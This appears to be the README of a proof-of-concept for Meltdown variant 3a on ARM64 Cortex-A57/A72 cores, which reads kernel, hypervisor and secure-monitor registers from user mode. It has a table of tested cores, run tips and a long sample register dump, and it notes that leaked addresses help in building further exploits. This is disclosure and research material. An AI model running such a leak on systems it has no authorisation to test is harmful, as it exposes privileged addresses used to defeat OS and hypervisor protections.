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PoC code implementing variant 3a of the Meltdown attack for AArch64. This allows reading all (potentially excluding registers whose read has side effects - not verified) system registers from user mode, including those which should only be accessible from the EL1 (kernel), EL2 (hypervisor) and EL3 (secure monitor) modes.

See the ARM whitepaper and the Meltdown vulnerability.

Confirmed to be working on Cortex-A57 and Cortex-A72.


Infoleaks of potentially sensitive data from the OS, hypervisor or secure monitor. No cryptographic keys or user data are expected to be exposed in most cases. So far, I've identified 3 potentially interesting uses for this:

  1. confirming the presence of a hypervisor and/or secure monitor on the machine
  2. detecting the use of hardware debugging or profiling tools
  3. obtaining valid addresses of software running in EL1-EL3 (from the registers containing pointers to the page tables, the exception vector, etc) - potentially useful in developing or deploying exploits for other vulnerabilities in this software

Affected implementations

Only showing AArch64 implementations.

Core Vulnerable according to vendor Tested with this exploit
ARM Cortex-A35 no no
ARM Cortex-A53 no yes, not vulnerable
ARM Cortex-A57 yes yes, vulnerable
ARM Cortex-A72 yes yes, vulnerable
ARM Cortex-A73 no no
ARM Cortex-A75 no no
APM X-Gene 2 N/A yes, not vulnerable
Cavium ThunderX2 no yes, not vulnerable
Qualcomm Kryo (Snapdragon 820) N/A yes, not vulnerable

Please open a pull request if you've tested on any other implementations.

Running it

The access timing is done using a second thread which increments a counter, which means that at least 2 cores need to be online and (close to) idle. DVFS might have to be disabled. In a big.LITTLE system, pin this process to the big cores. Cortex-A57 and Cortex-A72 are the only AArch64-capable cores designed by ARM which are vulnerable (to this variant of Meltdown). Note that bit-level errors are possible, although they should be rare.

Sample output

The registers marked dynamic denote the registers which do not appear to have a constant value during the sampling process. In the sample below, these are the Generic Timer registers (CNT*) and the Interrupt Status Register (ISR_EL1).

$ ./dump_sys_regs
ACTLR_EL1           : 0x0 
ACTLR_EL2           : 0x73 
ACTLR_EL3           : 0x73 
AIDR_EL1            : 0x0 
AFSR0_EL1           : 0x0 
AFSR0_EL2           : 0x0 
AFSR0_EL3           : 0x0 
AFSR1_EL1           : 0x0 
AFSR1_EL2           : 0x0 
AFSR1_EL3           : 0x0 
AMAIR_EL1           : 0x0 
AMAIR_EL2           : 0x0 
AMAIR_EL3           : 0x0 
CCSIDR_EL1          : 0x70ffe07a 
CLIDR_EL1           : 0xa200023 
CPACR_EL1           : 0x300000 
CPTR_EL2            : 0x33ff 
CPTR_EL3            : 0x0 
CSSELR_EL1          : 0x2 
CTR_EL0             : 0x8444c004 
DISR_EL1            : 0x0 
ERRIDR_EL1          : 0x0 
ERRSELR_EL1         : 0x0 
ERXADDR_EL1         : 0x0 
ERXCTLR_EL1         : 0x0 
ERXFR_EL1           : 0x0 
ERXMISC0_EL1        : 0x0 
ERXMISC1_EL1        : 0x0 
ERXSTATUS_EL1       : 0x0 
ESR_EL1             : 0x56000000 
ESR_EL2             : 0x0 
ESR_EL3             : 0x5e000000 
HACR_EL2            : 0x0 
HCR_EL2             : 0x80000000 
ID_AFR0_EL1         : 0x0 
ID_DFR0_EL1         : 0x3010066 
ID_ISAR0_EL1        : 0x2101110 
ID_ISAR1_EL1        : 0x13112111 
ID_ISAR2_EL1        : 0x21232042 
ID_ISAR3_EL1        : 0x1112131 
ID_ISAR4_EL1        : 0x11142 
ID_ISAR5_EL1        : 0x11121 
ID_ISAR6_EL1        : 0x0 
ID_MMFR0_EL1        : 0x10201105 
ID_MMFR1_EL1        : 0x40000000 
ID_MMFR2_EL1        : 0x1260000 
ID_MMFR3_EL1        : 0x2102211 
ID_MMFR4_EL1        : 0x0 
ID_PFR0_EL1         : 0x131 
ID_PFR1_EL1         : 0x11011 
ID_AA64DFR0_EL1     : 0x10305106 
ID_AA64ISAR0_EL1    : 0x11120 
ID_AA64ISAR1_EL1    : 0x0 
ID_AA64MMFR0_EL1    : 0x1124 
ID_AA64MMFR1_EL1    : 0x0 
ID_AA64MMFR2_EL1    : 0x0 
ID_AA64PFR0_EL1     : 0x2222 
IFSR32_EL2          : 0x0 
LORC_EL1            : 0x0 
LORID_EL1           : 0x0 
LORN_EL1            : 0x0 
MDCR_EL3            : 0x0 
MIDR_EL1            : 0x411fd073 
MPIDR_EL1           : 0x80000103 
PAR_EL1             : 0x7f99305000 
RVBAR_EL3           : 0xf6000000 
REVIDR_EL1          : 0x0 
SCTLR_EL1           : 0x34d5d91d 
SCTLR_EL3           : 0xcd183f 
TCR_EL1             : 0x34b5193519 
TCR_EL2             : 0x80800000 
TCR_EL3             : 0x8080351d 
TTBR0_EL1           : 0xf89f0000d4454000 
TTBR0_EL2           : 0x0 
TTBR0_EL3           : 0x30010b00 
TTBR1_EL1           : 0x8133f000 
TTBR1_EL2           : 0x0 
VDISR_EL2           : 0x0 
VSESR_EL2           : 0x0 
VTCR_EL2            : 0x80000000 
VTTBR_EL2           : 0x0 
AFSR0_EL12          : 0x0 
AFSR1_EL12          : 0x0 
AMAIR_EL12          : 0x0 
CNTFRQ_EL0          : 0x1dcd650 
CNTHCTL_EL2         : 0x3 
CNTHP_CTL_EL2       : 0x0 
CNTHP_CVAL_EL2      : 0x0 
CNTHP_TVAL_EL2      : 0x65a29ee7 (dynamic?)
CNTHV_CTL_EL2       : 0x0 
CNTHV_CVAL_EL2      : 0x0 
CNTHV_TVAL_EL2      : 0x0 
CNTKCTL_EL1         : 0xc6 
CNTKCTL_EL12        : 0x0 
CNTP_CTL_EL0        : 0x0 
CNTP_CTL_EL02       : 0x0 
CNTP_CVAL_EL0       : 0x12878de2 
CNTP_CVAL_EL02      : 0x0 
CNTP_TVAL_EL0       : 0x7801a980 (dynamic?)
CNTP_TVAL_EL02      : 0x0 
CNTPCT_EL0          : 0x162db9aa576c0 (dynamic?)
CNTPS_CTL_EL1       : 0x0 
CNTPS_CVAL_EL1      : 0x0 
CNTPS_TVAL_EL1      : 0x6539bd20 (dynamic?)
CNTV_CTL_EL0        : 0x0 
CNTV_CTL_EL02       : 0x0 
CNTV_CVAL_EL0       : 0x0 
CNTV_CVAL_EL02      : 0x0 
CNTV_TVAL_EL0       : 0x6516d1c0 (dynamic?)
CNTV_TVAL_EL02      : 0x0 
CNTVCT_EL0          : 0x162db9b090480 (dynamic?)
CNTVOFF_EL2         : 0x0 
CONTEXTIDR_EL1      : 0x0 
CONTEXTIDR_EL12     : 0x0 
CONTEXTIDR_EL2      : 0x0 
CPACR_EL12          : 0x0 
CPTR_EL3            : 0x0 
DACR32_EL2          : 0x0 
ESR_EL12            : 0x0 
FAR_EL1             : 0x0 
FAR_EL12            : 0x0 
FAR_EL2             : 0x0 
FAR_EL3             : 0x0 
FPEXC32_EL2         : 0x7f99305000 
HPFAR_EL2           : 0x0 
HSTR_EL2            : 0x0 
ID_AA64AFR0_EL1     : 0x0 
ID_AA64AFR1_EL1     : 0x0 
ID_AA64DFR1_EL1     : 0x0 
ID_AA64PFR1_EL1     : 0x0 
ISR_EL1             : 0x0 (dynamic?)
LOREA_EL1           : 0x0 
LORSA_EL1           : 0x0 
MAIR_EL1            : 0xbbff440c0400 
MAIR_EL12           : 0x0 
MAIR_EL2            : 0x0 
MAIR_EL3            : 0x4404ff 
MDCR_EL2            : 0x6 
MVFR0_EL1           : 0x10110222 
MVFR1_EL1           : 0x12111111 
MVFR2_EL1           : 0x43 
RMR_EL3             : 0x1 
SCR_EL3             : 0x535 
SCTLR_EL12          : 0x0 
SCTLR_EL2           : 0x30c50830 
SDER32_EL3          : 0x0 
TCR_EL12            : 0x0 
TPIDR_EL0           : 0x7f993066f0 
TPIDR_EL1           : 0x1fed81000 
TPIDR_EL2           : 0x0 
TPIDR_EL3           : 0x30010f80 
TPIDRRO_EL0         : 0x0 
TTBR0_EL12          : 0x0 
TTBR1_EL12          : 0x0 
VBAR_EL1            : 0xffffffc000083800 
VBAR_EL12           : 0x0 
VBAR_EL2            : 0x8008a000 
VBAR_EL3            : 0x3000a800 
VMPIDR_EL2          : 0x80000103 
VPIDR_EL2           : 0x411fd073


Dump privileged ARM system registers from usermode using variant 3a of Meltdown






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